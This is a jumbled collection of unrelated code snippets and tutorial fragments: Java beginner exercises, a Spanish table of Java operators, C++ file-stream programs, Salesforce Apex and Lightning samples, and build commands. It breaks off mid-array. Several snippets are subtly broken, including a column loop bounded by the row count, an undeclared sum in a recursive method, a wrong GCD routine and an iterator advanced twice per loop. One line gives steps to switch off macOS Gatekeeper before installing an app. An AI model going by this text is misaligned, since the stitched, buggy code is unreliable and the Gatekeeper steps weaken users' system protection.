						AsegurableDtoResponse objAsegurablePorPoliza = (AsegurableDtoResponse) objAsegurable.getGrupos().stream().filter(grupo -> grupo == objGrupoPorPoliza);
						listAsegurablesFiltradosPorPoliza.add(objAsegurablePorPoliza);
					}
				}
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;

public class WriteToFile
{
	public static void main(String[] args) throws IOException
	{
		Path fileName = Path.of("demo.txt");
	    String content  = "hello world !!";
	    Files.writeString(fileName, content);

	    String actual = Files.readString(fileName);
	    System.out.println(actual);
	}
}
String jsonString = new com.google.gson.Gson().toJson(myObject);
Gson gson = new Gson();
List<Product> products = gson.fromJson(jsonString, new TypeToken<List<Product>>(){}.getType());
$ git reset --hard HEAD~1

HEAD is now at 90f8bb1 Second commit
Class P6
{
 public static void test(int a , long b) 
  {
    System.out.println('Test with int and long')
  }
 public static void test(long a , int b)
  {
    System.out.println('Test with long and int')
  }
 public static void main(String []args)
  {
    test(10 , 20);
  }
}
  public static EasyRandomParameters getEasyRandomParameters(int collectionSize) {
    return new EasyRandomParameters()
        .randomize(BigDecimal.class, BIG_DECIMAL_RANDOMIZER)
        .collectionSizeRange(collectionSize, collectionSize);
  }

  public static final Randomizer<BigDecimal> BIG_DECIMAL_RANDOMIZER =
      () ->
          BigDecimal.valueOf(ThreadLocalRandom.current().nextDouble(0, 100))
              .setScale(8, RoundingMode.DOWN);
  public static final Randomizer<BigDecimal> BIG_DECIMAL_RANDOMIZER =
      () ->
          BigDecimal.valueOf(ThreadLocalRandom.current().nextDouble(0, 100))
              .setScale(8, RoundingMode.DOWN);
public void resetCells() {
  for (int row = 0; row < grid.getRows(); row++) {
    for (int column = 0; column < grid.getRows(); column++) {
      resetCell(new Coordinates(row, column));
    }
  }
}
public void initialiseCells() {
  for (int row = 0; row < grid.getRows(); row++) {
    for (int column = 0; column < grid.getColumns(); column++) {
      initialiseCell(new Coordinates(row, column));
    }
  }
}

private void initialiseCell(Coordinates coordinates) {
  Cell cell = new Cell();

  addAlivePropertyListener(cell);
  addClickEventHandler(cell);

  grid.add(cell, coordinates);
}

private void addAlivePropertyListener(Cell cell) {
  cell.aliveProperty()
    .addListener(newValue -> setAliveStyle(cell, newValue));
}

private void setAliveStyle(Cell cell, boolean isAlive) {
  List<String> styleClass = cell.getStyleClass();
  if (isAlive) {
    styleClass.add(ALIVE_STYLE_CLASS);
  } else {
    styleClass.remove(ALIVE_STYLE_CLASS);
  }
}

private void addClickEventHandler(Cell cell) {
  cell.addEventHandler(MouseEvent.MOUSE_CLICKED,
    event -> cell.toggleAlive());
}

public void resetCells() {
  for (int row = 0; row < grid.getRows(); row++) {
    for (int column = 0; column < grid.getRows(); column++) {
      resetCell(new Coordinates(row, column));
    }
  }
}

private void resetCell(Coordinates coordinates) {
  Cell cell = grid.get(coordinates);

  cell.aliveProperty().setValue(false);
}
+	Suma	a + b
-	Resta	a - b
*	Multiplicación	a * b
/	División	a / b
%	Módulo	a % b
Operadores de asignación
=	Asignación	a = b
+=	Suma y asignación	a += b (a=a + b)
-=	Resta y asignación	a -= b (a=a - b)
*=	Multiplicación y asignación	a *= b (a=a * b)
/=	División y asignación	a / b (a=a / b)
%=	Módulo y asignación	a % b (a=a % b)
Operadores relacionales
==	Igualdad	a == b
!=	Distinto	a != b
<	Menor que	a < b
>	Mayor que	a > b
<=	Menor o igual que	a <= b
>=	Mayor o igual que	a >= b
Operadores especiales
++	Incremento	a++ (postincremento)
++a   (preincremento)
--	Decremento	a-- (postdecremento)
--a  (predecremento)
(tipo)expr	Cast	a = (int) b
+	Concatenación de cadenas	a = "cad1" + "cad2"
.	Acceso a variables y métodos	a = obj.var1
( )	Agrupación de expresiones	a = (a + b) * c


La tabla siguiente muestra la precedencia asignada a los operadores, éstos son listados en orden de precedencia.

Los operadores en la misma fila tienen igual precedencia

Operador	Notas
.   []   ()	Los corchetes se utilizan para los arreglos
++   --   !   ~	! es el NOT lógico y ~ es el complemento de bits
new (tipo)expr	new se utiliza para crear instancias de clases
*   /   %	Multiplicativos
+ -	Aditivos
<<   >>   >>>	Corrimiento de bits
<   >   <=   >=	Relacionales
==   !=	Igualdad
&	AND (entre bits)
^	OR exclusivo (entre bits)
|	OR inclusivo (entre bits)
&&	AND lógico
||	OR lógico
? :	Condicional
=   +=   -=   *=   /=   %=   &=   ^=   |=   <<=   >>=   >>>=	Asignación
Un ejemplo completo, que diera a la variable "par" el valor 1 si un número "n" es par, o el valor 0 en caso contrario, sería:

// Condicional1.java
// Ejemplo de "operador condicional" (o ternario)
// Introducción a Java, Nacho Cabanes
 
class Condicional1 {
 
    public static void main( String args[] ) {
 
        int n = 4;
        int par;

  // condicion ? resultado_si cierto : resultado_si_falso
        par = n % 2 == 0 ?  1 : 0;
 
        System.out.print( "\"par\" vale... " );
        System.out.println( par );
    }
}
condicion ? resultado_si cierto : resultado_si_falso
Es decir, se indica la condición seguida por una interrogación, después el valor que hay que devolver si se cumple la condición, a continuación un símbolo de "dos puntos" y finalmente el resultado que hay que devolver si no se cumple la condición.

Es frecuente emplearlo en asignaciones (aunque algunos autores desaconsejan su uso porque puede resultar menos legible que un "if"), como en este ejemplo:

x = (a == 10) ? b*2 : a ;
En este caso, si "a" vale 10, la variable "x" tomará el valor de b*2, y en caso contrario tomará el valor de a. Esto también se podría haber escrito de la siguiente forma, más larga pero más legible:

if (a == 10)
  x = b*2;
else
  x = a;
class If6 {
 
    public static void main( String args[] ) {
 
        int a = 7;
        int b = 1;
 
        if ( ((a == 3) || ( b > 5))
            || ((a == 7)  && ! (b < 4)) )  {
            System.out.println( "Se cumple la condición" );
        }
        else {
            System.out.println( "No se cumple la condición" );
        }
    }
}
class If4 {
 
    public static void main( String args[] ) {
 
        int x = 10;
 
        if (x != 5) {
            System.out.println( "x no vale 5" );
        }
        else {
            System.out.println( "x vale 5" );
        }
    }
}
// Java program to demonstrate use of a
// string to control a switch statement.
public class Test 
{
    public static void main(String[] args)
    {
        String str = "two";
        switch(str)
        {
            case "one":
                System.out.println("one");
                break;
            case "two":
                System.out.println("two");
                break;
            case "three":
                System.out.println("three");
                break;
            default:
                System.out.println("no match");
        }
    }
}
El método equals(), se utiliza para comparar dos objetos. Ojo no confundir con el operador ==, que ya sabemos que sirve para comparar tambien, equals compara si dos objetos apuntan al mismo objeto.

Equals() se usa para saber si dos objetos son del mismo tipo y tienen los mismos datos. Nos dara el valor true si son iguales y false si no.
System.out.print("Enter full name: ");        
        //Create scanner object and read the value from the console  
        Scanner scan = new Scanner(System.in);  
        //Read the first token  
        String firstName = scan.next();  
        //Read the second token  
        String lastName = scan.next();  
        //Print the token values read by Scanner object  
        System.out.println("First Name is: "+firstName);  
        System.out.println("Last Name is: "+lastName);    
        scan.close();  
Script:

class HelloWorld
{
        public static void main(String args[])
    {
        System.out.println("Hello World!");
    }
}


Saved as HelloWorld.java

Executing it: 

module load java 
javac HelloWorld.java
java HelloWorld 
public void addAtEnd(int item) {
		Node nn = new Node(item);
		
		  //Attach new node to the previous node
		if(this.size >= 1)
			  this.tail.next = nn;
		  
		  //Shift tail at the end node
		  else head = nn;
		  
		  tail = nn;
		  size++;
		}
public void displayList() {
		Node temp = new Node();
		temp = this.head;

		while(temp != null) {
			System.out.print(temp.data+", ");
			temp = temp.next;
		}
	}
int getAt(int idx) throws Exception {
		  
		  if(size == 0){
		    throw new Exception("LinkedList is empty");
		  }
		  if(idx < 0 || idx >= this.size){
		    throw new Exception("Invalid index");
		  }
		  
		  Node temp = this.head;
		  for(int i=1;  i <= idx; i++){
		    temp = temp.next;
		  }
		  
		  return temp.data;
		  
		}
private Node getNodeAt(int idx) throws Exception {
  if(this.size == 0){
    throw new Exception("LinkedList is empty");
  }
  if(idx < 0 || idx >= this.size){
    throw new Exception("Invalid Index");
  }
  
  Node temp = this.head;
  
  for(int i = 1; i <= idx; i++){
    temp = temp.next;
  }
  
  return temp;
}
public void addAtBegin(int item){
  Node nn = new Node();
  nn.data = item;
  
  //attach new node to the previous node 
  if(this.size >= 1)
    nn.next = head;
  else
    this.tail = nn;
  
  //shift head of previous node to the ned node
  this.head = nn;
  this.size++;
}
void printListInRecursion(Node head){
  Node curr = head;
  
  if(curr == null)
    return;
  
  System.out.print(curr.data+" ");
  printListInRecursion(curr.next);
}
mvn -U io.quarkus:quarkus-maven-plugin:create \
        -DprojectGroupId=org.agoncal.quarkus.microservices \
        -DprojectArtifactId=rest-book \
        -DclassName="org.agoncal.quarkus.microservices.book.BookResource" \
        -Dpath="/api/books" \
        -Dextensions="resteasy-jsonb, smallrye-openapi"
  Scanner scn = new Scanner(System.in);
    int n = scn.nextInt();
    int m = scn.nextInt();
    
    int [][]arr = new int[n][m];
    
    for(int i=0;i<arr.length;i++){
        for(int j=0;j<arr[0].length;j++){
            one [i][j] = scn.nextInt();
        }
    }
import java.util.function.*;
public class SupplierTest {


  public static void main(String args[]) {
    Supplier<Person> supplier = () -> new Person("Mohan", 23);
    Predicate<Person> predicate = (p) -> p.age > 18;
    boolean eligible = predicate.test(supplier.get());
    Function<Person,String> getName = p -> p.name; 
    System.out.println(getName.apply(supplier.get())+" is eligible for voting: " + eligible);
  }
}

class Person {
  String name;
  int age;

  Person(String name, int age) {
    this.name = name;
    this.age = age;
  }
}
import java.util.*;
import java.lang.Math;

class prime {
  public static boolean is_prime(int n) {
    if (n < 2) {
      return false;
    }
    
    if (n == 2) {
      return true;
    }
    
    if (n % 2 == 0) {
      return false;
    }
    
    for (int i = 3; i < Math.sqrt(n) + 1; i += 2) {
      if (n % i == 0) {
        return false;
      }
    }
    
    return true;
  }
  
  public static void main(String args[]) {
    int start, end;
    Scanner sc = new Scanner(System.in);
    
    System.out.println("Enter start value of range:");
    start = sc.nextInt();
    
    System.out.println("Enter end value of range:");
    end = sc.nextInt();
    
    System.out.println("List of primes:");
    for (int i = start; i <= end; i++) {
      if (is_prime(i)) {
        System.out.println(i);
      }
    }
  }
}
    
    
  	
/**
Precondition: n>=1 
Returns the sum of the squares of the numbers 1 through n. 
*/
public static int squares(int n) {				
   if(n<1) {
      return 1;		
   }		
   else {
      sum+=Math.pow(n, 2);
      squares(n-1);
      return sum;
   }		
}
/**
Precondition: n>=1 
Returns the sum of the squares of the numbers 1 through n. 
*/
public static int squares(int n) {				
   if(n<1) {
      return 1;		
   }		
   else {
      sum+=Math.pow(n, 2);
      squares(n-1);
      return sum;
   }		
}
Set<JobKey> jobKeys = scheduler.getJobKeys(GroupMatcher.anyJobGroup());

Iterator<JobKey> it = jobKeys.iterator();
while(it.hasNext()){
  System.out.println(it.next());

  JobKey key = it.next();
  scheduler.deleteJob(key);
}
public class ${Class Name} {

  // Singleton instance variable
  private static ${Class Name} instance;

  /**
   * Constructor
   */
  private ${Class Name}() {}

  /**
   * Getter for retrieving instance
   */
  public static synchronized ${Class Name} getInstance() {
    if (instance == null) {
      instance = new ${Class Name}();
    }
    return instance;
  }
}
	
Disable the gatekeeper via sudo spctl --master-disable.
Install application.
Re-enable the gatekeeper via sudo spctl --master-enable.
public String performPost(File file, String url) {
    HttpPost httppost = new HttpPost(url);
    InputStream content = null;

    try {

        List<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>(2);
        nameValuePairs.add(new BasicNameValuePair("articleattachement[content]", encode(file)));

        httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));

        Log.d("DEBUG", "UPLOAD: executing request: " + httppost.getRequestLine());
        Log.d("DEBUG", "UPLOAD: request: " + httppost.getEntity().getContentType().toString());

        content = execute(httppost).getEntity().getContent();

        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        byte[] buf = new byte[1024];
        int len;
        while ((len = content.read(buf)) > 0) {
            bout.write(buf, 0, len);
        }
        content.close();
        return bout.toString();
    } catch (FileNotFoundException e) {
        e.printStackTrace();
    } catch (ClientProtocolException e) {
        e.printStackTrace();
    } catch (IOException e) {
        e.printStackTrace();
    }
    return null;
}

public String encode(File file) throws IOException {
    byte[] data=null;
    try {

        data = getFileBytes(new FileInputStream(file.getAbsolutePath()));
    } catch (Exception e) {
        e.printStackTrace();
    }

    return Base64.encodeToString(data,Base64.URL_SAFE);
}

public byte[] getFileBytes(InputStream ios) throws IOException {
    ByteArrayOutputStream ous = null;
    //InputStream ios = null;
    try {
        byte[] buffer = new byte[4096];
        ous = new ByteArrayOutputStream();
        //ios = new FileInputStream(file);
        int read = 0;
        while ((read = ios.read(buffer)) != -1)
            ous.write(buffer, 0, read);
    } finally {
        try {
            if (ous != null)
                ous.close();
        } catch (IOException e) {
            // swallow, since not that important
        }
        try {
            if (ios != null)
                ios.close();
        } catch (IOException e) {
            // swallow, since not that important
        }
    }
    return ous.toByteArray();
}
import java.util.Scanner;
public class sum {
    
  public static int arraysum(int
[][]arr,int n)  
    {
        
        
  int left =0;
  int right =0;
  int abs=0;
for(int I=0;I<arr.length;I++) 
    {
        
for(int J=0;J<arr.length;J++)   
 {
    
  if (I==J)
left+=arr[I][J];
if (I+J==n-1) 
right+=arr[I][J];
}
}

abs=left-right;



      return  abs;
    }
       
    
 public static void main(String 
[]args)
 
    {
 Scanner input =new Scanner
(System.in);
        int n;
        n=input.nextInt();
        int[][]ARR=new int[n][n]
;
        for (int i=0;i<n;i++) 
        {
           for (int j=0;j<n;j++)
           {
  ARR[i][j]=input.nextInt();
               
           }
                     }   System.out.print(Math.abs(arraysum(ARR,n)));         }      
        
String Field_Name = Object_Name__c.Field_Name__c.getDescribe().isAccessible();

String Field_Name = Object_Name__c.Field_Name__c.getDescribe().getRelationshipName();

List<Schema.PicklistEntry> pickList_values = Object_Name__c.Field_Name__c.getDescribe().getPicklistValues();

String Field_Name = Object_Name__c.Field_Name__c.getDescribe().getDefaultValue();

String Field_Name = Object_Name__c.Field_Name__c.getDescribe().getLabel();

Random r = new Random();
char c = (char)(r.nextInt(26) + 'a');
JSONArray userJSONArray = json.getJSONArray("data");
for (int i = 0; i < userJSONArray.size(); i++) {
    JSONObject jsonObject = userJSONArray.getJSONObject(i);
    User user = JSON.parseObject(jsonObject.toJSONString(), User.class);
}
public <T> List<Class<? extends T>> findAllMatchingTypes(Class<T> toFind) {
    foundClasses = new ArrayList<Class<?>>();
    List<Class<? extends T>> returnedClasses = new ArrayList<Class<? extends T>>();
    this.toFind = toFind;
    walkClassPath();
    for (Class<?> clazz : foundClasses) {
        returnedClasses.add((Class<? extends T>) clazz);
    }
    return returnedClasses;
}
// Add first contact and related details
Contact contact1 = new Contact(
   Firstname='Quentin',
   Lastname='Foam',
   Phone='(415)555-1212',
   Department= 'Specialty Crisis Management',
   Title='Control Engineer - Specialty - Solar Arrays',
   Email='qfoam@trailhead.com');
insert contact1;
// Add second contact and related details
Contact contact2 = new Contact(
   Firstname='Vega',
   Lastname='North',
   Phone='(416)556-1312',
   Department= 'Specialty Crisis Management',
   Title='Control Engineer - Specialty - Propulsion',
   Email='vnorth@trailhead.com');
insert contact2;
// Add third contact and related details
Contact contact3 = new Contact(
   Firstname='Palma',
   Lastname='Sunrise',
   Phone='(554)623-1212',
   Department= 'Specialty Crisis Management',
   Title='Control Engineer - Specialty - Radiators',
   Email='psunrise@trailhead.com');
insert contact3;
FIND {Crisis} IN ALL FIELDS RETURNING Contact(FirstName, LastName, Phone, Email, Title)
<?xml version="1.0" encoding="UTF-8"?>
<LightningComponentBundle xmlns="http://soap.sforce.com/2006/04/metadata" fqn="helloWorld">
  <apiVersion>45.0</apiVersion>
  <isExposed>true</isExposed>
  <targets>
    <target>lightning__AppPage</target>
    <target>lightning__RecordPage</target>
    <target>lightning__HomePage</target>
  </targets>
</LightningComponentBundle>
import { LightningElement } from 'lwc';
export default class HelloWorld extends LightningElement {
  greeting = 'World';
  changeHandler(event) {
    this.greeting = event.target.value;
  }
}
<template>
  <lightning-card title="HelloWorld" icon-name="custom:custom14">
    <div class="slds-m-around_medium">
      <p>Hello, {greeting}!</p>
      <lightning-input label="Name" value={greeting} onchange={changeHandler}></lightning-input>
    </div>
  </lightning-card>
</template>
#include<iostream>
#include<fstream>
using namespace std;

class Bank_Customer
{
protected:
	char name[40];
	int age;
	int balance;
	char gender;
	char phone[15];
	char address[50];
public:
	void getdata(void) {
		cout << "Enter name:"; cin >> name;
		cout << "Enter age:"; cin >> age;
		cout << "Enter balance:"; cin >> balance;
		cout << "Enter gender(m/f):"; cin >> gender;
		cout << "Enter phone number:"; cin >> phone;
		cout << "Enter Address:"; cin >> address;
	}
	void showdata(void) {
		cout << "\nName:" << name;
		cout << "\nAge:" << age;
		cout << "\nBalance:" << balance;
		cout << "\nGender:" << gender;
		cout << "\nPhone number:" << phone;
		cout << "\nAddress:" << address;
		cout << endl;
	}
	void CreateFile(void){
		fstream file;
		file.open("Customer.txt", ios::app | ios::out | ios::binary);
		if (!file) {
			cerr << "error:input file cannot be opened.\n";
			exit(1);
		}
		else if(file)
		{
			cout << "file already exists and ready for input";
		}
		else
		{
			cout << "File Created Successfuly" << endl << endl;
		}
		file.close();
		
	}
	void AddRecord() {
		ofstream outfile;
		outfile.open("Customer.txt", ios::app | ios::out | ios::binary);
		Bank_Customer c;
		char choice;
		do {
			cout << "\nEnter person's data:" << endl;
			c.getdata();
			outfile.write((char*)&c, sizeof(c));
			cout << "do you want to add another record?(y/n):";
			cin >> choice;

		} while (choice=='y');
		outfile.close();
	}
	void DisplayAllRecords() {
		Bank_Customer cc;
		fstream file;
		file.open("Customer.txt", ios::in | ios::binary);
		if (!file)
		{
			cerr << "Error:input file cannot be openend\n";
			exit(1);
		}
		file.seekg(0);
		file.read((char*)&cc, sizeof(cc));
		while (!file.eof())
		{
			cout << "\nCustomer:";
			cc.showdata();
			file.read((char*)&cc, sizeof(cc));
		}
		cout << endl;
	}
};
int main(void)
{
	cout << "_____Welcome_to__Bank_System_____" << endl;
	cout << "Choose_from_list:" << endl;
	cout << "1-Create-file" << endl;
	cout << "2-Add-record(add customer)" << endl;
	cout << "3-Display all records(Display all customers)" << endl;
	cout << "4-Exit" << endl;
	int ans;
	cin >> ans;
	Bank_Customer cust;
	switch (ans)
	{
	case 1:
		cust.CreateFile();
		cust.AddRecord();
		break;
	case 2:
		cust.AddRecord();
		break;
	case 3:
		cust.DisplayAllRecords();
		break;
	case 4:
		exit(1);
	default:
		cout << "Error";
		exit(1);
		break;
	}
	system("pause");
}
#include <bits/stdc++.h>
using namespace std;

/* class definition for each record */
class Employee{
    
    int id;
    string name;
    
    public:

    Employee(int Id, string Name){
        id = Id;
        name = Name;
    }

    int getid(){
        return id;
    }

    void print(){
        cout<<"Id : "<<id<<"\n";
        cout<<"Name : "<<name<<"\n";
    }

};

/* class definition which stores multiple records of 'Employee' type */
class EmployeeFile
{
    
    vector<Employee> file;

	public:

    void add(int id, string name){
        file.push_back(Employee(id,name));
    }

    Employee search(int id){
        for(auto f : file){
            if(f.getid() == id)
                return f;
        }
        return {0,""};
    }

    void print(){
        for(auto f : file){
            f.print();
        }
    }

};

int main() {
	
    EmployeeFile emp;

    /* input number of records */
    int n;
    cin>>n;

    for(int i=0;i<n;i++){
        int id;
        string name;
        cin>>id>>name;
        /* add record */
        emp.add(id,name);
    }

    cout<<"List of employees\n";
    /* print records */
    emp.print();

    int key;
    cin>>key;

    /* search record with key */
    Employee e = emp.search(key);

    cout<<"Searched employee\n";
    e.print();
    
	return 0;
}
#include<iostream>
#include<fstream>
#include<string>
using namespace std;
class employeefile {
private:
	char employee[20];
	char worktype[20];
	int age;
public:
	void getdata(void)
	{
		cout << "Enter employee name:"; cin >>employee;
		cout << "Enter work type:"; cin >> worktype;
		cout << "Enter age:"; cin >> age;
	}
	void showdata(void)
	{
		cout << "\n employee name:"<<employee<<endl;
		cout << "\n work type:" << worktype << endl;
		cout << "\n age:" << age << endl;
	}

};
int main()
{
	employeefile E;
	E.getdata();
	ofstream creatfile("employee.txt" /*ios::binary*/);
	creatfile.write((char*)&E, sizeof(E));
	creatfile.close();
	ifstream infine("employee.txt" /*ios::binary*/);
	infine.read((char*)&E, sizeof(E));
	E.showdata();
	infine.close();
	return 0;
};
#include<iostream>
#include<fstream>
using namespace std;
class employeefile {
private:
	char employee[20];
	char worktype[20];
	int age;
public:
	void getdata(void)
	{
		cout << "Enter employee name:"; cin >>employee;
		cout << "Enter work type:"; cin >> worktype;
		cout << "Enter age:"; cin >> age;
	}
	void showdata(void)
	{
		cout << "\n employee name:"<<employee<<endl;
		cout << "\n work type:" << worktype << endl;
		cout << "\n age:" << age << endl;
	}

};
int main()
{
	employeefile E;
	E.getdata();
	ofstream creatfile("employee.txt", ios::binary);
	creatfile.write((char*)&E, sizeof(E));
	creatfile.close();
	ifstream infine("employee.txt", ios::binary);
	infine.read((char*)&E, sizeof(E));
	E.showdata();
	infine.close();
}
//binary input and output with integer.
//we use two functions:write()andread().
//they transfer a buffer full of bytes to and from a disk file.
//the parameters to write() and read() are the buffer address.
//and its length.
#include<fstream>
#include<iostream>
using namespace std;
const int Max = 100;
int buff[Max];
int main()
{
	for (int i = 0; i < Max; i++)
	{
		buff[i] = i;
	}
	ofstream os("edata.txt", ios::binary);
	os.write((char*)buff, Max * sizeof(int));
	os.close();
	for (int i = 0; i < Max; i++)
	{
		buff[i] = 0;
	}
	ifstream is("edata.txt", ios::binary);
	is.read((char*)buff, Max * sizeof(int));
	for (int i = 0; i < Max; i++)
	{
		if (buff[i]!=i)
		{
			cerr << "\ndata is incorrect";
			return 0;
		}
		else
		{
			cout << "\ndata is correct";
		}
	}
}


#include<iostream>
#include<fstream>
#include<string>
using namespace std;
int main()
{
	/*ofstream outfile("grade.txt", ios::out);
	if (!outfile)
	{
		cerr << "error:output file cannot be opened\n";
		exit(1);
	}
	char id[9], name[16];
	int grade;
	cout << "\t1:";
	int n = 1;
	while (cin>>id>>name>>grade)
	{
		if (n==3)
		{
			break;

		}
		outfile << name << " " << id << " " << grade << endl;
		cout << "\t" << ++n << ":";
	}
	outfile.close();*/
	ifstream infile("grade.txt", ios::in);
	if (!infile)
	{
		cerr << "error:input file cannot be opened.\n";
		exit(1);
	}
	char id[9], name[16];
	int grade, sum = 0, count = 0;
	while (infile>>id>>name>>grade)
	{
		sum += grade;
		++count;
	}
	infile.close();
	cout << "the grade average is:" << float(sum) / count << endl;
}
ios::in allows input (read operations) from a stream.
ios::out allows output (write operations) to a stream.
| (bitwise OR operator) is used to combine the two ios flags,
meaning that passing ios::in | ios::out to the constructor
of std::fstream enables both input and output for the stream.
#include<iostream>
#include<fstream>
using namespace std;
int main()
{
	ofstream outfile("grades.txt", ios::out);//ios::out Write operations.
	if (!outfile)
	{
		cerr << "error:output file cannot be opened\n";
		exit(1);
	}
	char id[9], name[16];
	int grade;
	cout << "\t:";
	int n = 1;
	while (cin>>id>>name>>grade)
	{
		outfile << name << " " << id << " " << grade << endl;
		cout << "\t" << ++n << ":";
	}
	outfile.close();

}
#include<iostream>
#include<fstream>
using namespace std;
int main()
{
	ofstream outfile("grades.txt", ios::out);
	if (!outfile)
	{
		cerr << "error:output file cannot be opened\n";
		exit(1);
	}
	char id[9], name[16];
	int grade;
	cout << "\t:";
	int n = 1;
	while (cin>>id>>name>>grade)
	{
		outfile << name << " " << id << " " << grade << endl;
		cout << "\t" << ++n << ":";
	}
	outfile.close();

}
//Read from the file.
#include<iostream>
#include<fstream>
#include<string>
using namespace std;
int main()
{
	//Create a text file.
	ofstream Mywritefile("fileAhmed.txt");
	//Write to the file.
	Mywritefile << "Ahmed abdelmoneim!\nmohamed";
	//Close the file.
	Mywritefile.close();
	//Create a text string,
	string myText;
	//read from the text
	ifstream Myreadfile("fileAhmed.txt");

	while (getline(Myreadfile, myText))
	{

		cout << myText;
	}
	
	Myreadfile.close();
};
//Read from the file.
#include<iostream>
#include<fstream>
#include<string>
using namespace std;
int main()
{
	//Create a text file.
	ofstream Mywritefile("fileAhmed.txt");
	//Write to the file.
	Mywritefile << "Ahmed abdelmoneim!";
	//Close the file.
	Mywritefile.close();
	//Create a text string,
	string myText;
	//read from the text
	ifstream Myreadfile("fileAhmed.txt");
	while (getline(Myreadfile, myText))
	{
		cout << myText;
	}
	Myreadfile.close();
};
/*the fstream library allows us to work with files.
To use The fstream library,include both the standard:
<iostream>AND the <fstream> header file:
Example:
#include<iostream>
#include<fstream>
there are three classes included in the fstream Library.
Which are used to Create,Write or read file:
ofstream:Create and Writes to files.
ifstream:Reads from files.
fstream:A Combination of ofstream and ifstream:creates,reads,and writeto files.*/
/*******************************************************************************/
//Create and Write To File.
#include<iostream>
#include<fstream>
using namespace std;
int main()
{
	//Create and open a text file.
	ofstream Myahmedfile("ahmedfile.txt");
	//Write to the file.
	Myahmedfile << "Hello Ahmed Abdelmoneim";
	//Close the file.
	Myahmedfile.close();
}
#include<iostream>
#include<fstream>
#include<string>
using namespace std;
int main()
{
	ofstream Myfiles("Myfiles.txt", ios::in | ios::out | ios::app);// add new words
	if (Myfiles.fail())
	{
		cout << "cant out open file\n";
		exit(1);
	}
	string str;
	
	
	while (cin >> str) 
	{
		if (str=="1"){break;}
		Myfiles << str<<"\n";
	}
	Myfiles.close();
}
#include<iostream>
#include<fstream>
#include<string>
using namespace std;
int main()
{
	ofstream Myfiles("Myfiles.txt",ios::app);// add new words
	if (Myfiles.fail())
	{
		cout << "cant out open file\n";
		exit(1);
	}
	cout << "Let's use the output stream\n";
	Myfiles << "Hello world\n";
	Myfiles.close();

}
#include<iostream>
#include<fstream>
#include<string>
using namespace std;
int main()
{
	ofstream Myfiles("Myfiles.txt");
	if (Myfiles.fail())
	{
		cout << "cant out open file\n";
		exit(1);
	}
	cout << "Let's use the output stream\n";
	Myfiles << "Hello world\n";
	Myfiles.close();

}
#include<iostream>
#include<fstream>
#include<cassert>
using namespace std;
int main()
{
	ifstream inputStream("input.txt");
	if (inputStream.fail())
	{
		cout << "Sees file is not there...or can't open it\n";
		return 0;
	}
	int x;
	inputStream >> x;
	inputStream.close();
}
import java.util.Scanner;

public class Ok {
    public static int Fib(int num) {
        if (num == 0 || num == 1)
            return num;
        else
            return Fib(num - 2) + Fib(num - 1);
    }

    public static void main(String[] args) {
        System.out.println(Fib(6));

    }
}
import java.util.Scanner;
public class Ok {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        float num = input.nextFloat();
        float sum = 0;
        for (float i = 0; i <= 28; i++) {
            sum = sum + num;
            num = num + 0.07f;
            System.out.printf("The num=:%f", num);
            System.out.println();
        }
        System.out.println("The sum of series:" + (int) sum);
    }
}

import java.util.Scanner;

public class Ok {

    // a method to find the greatest common divisor.
    // of given tv numbers.
    public static int GCD(int num1, int num2) {
        int gcd = 0, x = 0;
        if (num1 > num2) {
            x = num1 / num2;
            gcd = num1 - (num2 * x);
        }
        if (num2 > num1) {
            x = num2 / num1;
            gcd = num2 - (num2 * x);
        }
        return gcd;

    }

    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int num1, num2;
        System.out.println("Enter numer1:");
        num1 = input.nextInt();
        System.out.println("Enter number2:");
        num2 = input.nextInt();
        System.out.println("gcd=" + GCD(num1, num2));

    }

}
import java.util.Scanner;

//write a program that computes weekly hours for each employee;
//Use a two-dimensional array.Each row records an employee's
//seven-day work hours with seven columns. 
public class Ok {
    public static int[] Sumhours(int[][] hours) {

        int TotalHoursForEachEmployee[] = new int[hours.length];
        for (int i = 0; i < hours.length; i++) {
            int sum = 0;
            for (int j = 0; j < hours[i].length; j++) {
                sum += hours[i][j];
            }
            TotalHoursForEachEmployee[i] = sum;
        }
        return TotalHoursForEachEmployee;
    }

    public static void main(String[] args) {
        Scanner in = new Scanner(System.in);
        int Employeeworkhours[][] = new int[7][7];
        System.out.println("Enter employee work hours:");

        for (int i = 0; i < Employeeworkhours.length; i++) {
            for (int j = 0; j < Employeeworkhours[i].length; j++) {
                Employeeworkhours[i][j] = in.nextInt();
            }
        }
        int total[] = Sumhours(Employeeworkhours);
        for (int i = 0; i < total.length; i++) {
            System.out.println("employee work hours:" + (i + 1) + "=");
            System.out.println(total[i]);
        }
    }
}
import java.util.Scanner;

//write a program that computes weekly hours for each employee;
//Use a two-dimensional array.Each row records an employee's
//seven-day work hours with seven columns. 

public class Ok {
    public static int[] Sumhours(int[][] hours) {

        int TotalHoursForEachEmployee[] = new int[hours.length];
        for (int i = 0; i < hours.length; i++) {
            int sum = 0;
            for (int j = 0; j < hours[i].length; j++) {
                sum += hours[i][j];
            }
            TotalHoursForEachEmployee[i] = sum;
        }
        return TotalHoursForEachEmployee;

    }

    public static void main(String[] args) {
        Scanner in = new Scanner(System.in);
        int Employeeworkhours[][] = new int[7][7];
        System.out.println("Enter employee work hours:");

        for (int i = 0; i < Employeeworkhours.length; i++) {
            for (int j = 0; j < Employeeworkhours[i].length; j++) {
                Employeeworkhours[i][j] = in.nextInt();
            }
            ;
        }
        ;

        int total[] = Sumhours(Employeeworkhours);
        for (int i = 0; i < total.length; i++) {
            System.out.println("employee work hours:" + (i+1) + "=");
            System.out.println(total[i]);
        }
        ;
    };
};
//import java.util.Scanner;

//write a program that computes weekly hours for each employee;
//Use a two-dimensional array.Each row records an employee's
//seven-day work hours with seven columns. 

public class Ok {
    public static int[] Sumhours(int[][] hours) {

        int TotalHoursForEachEmployee[] = new int[hours.length];
        for (int i = 0; i < hours.length; i++) {
            int sum = 0;
            for (int j = 0; j < hours[i].length; j++) {
                sum += hours[i][j];
            }
            TotalHoursForEachEmployee[i] = sum;
        }
        return TotalHoursForEachEmployee;

    }

    public static void main(String[] args) {
        // Scanner in = new Scanner(System.in);
        // int Employeeworkhours[][] = new int[7][7];
        int[][] Employeeworkhours = { 
        { 1, 2, 3, 4, 5, 6, 7 },
        { 8, 9, 10, 11, 12, 13, 14 },
        { 15, 16, 17, 18, 19, 20, 21 },
        { 22, 23, 24, 25, 26, 27, 28 },
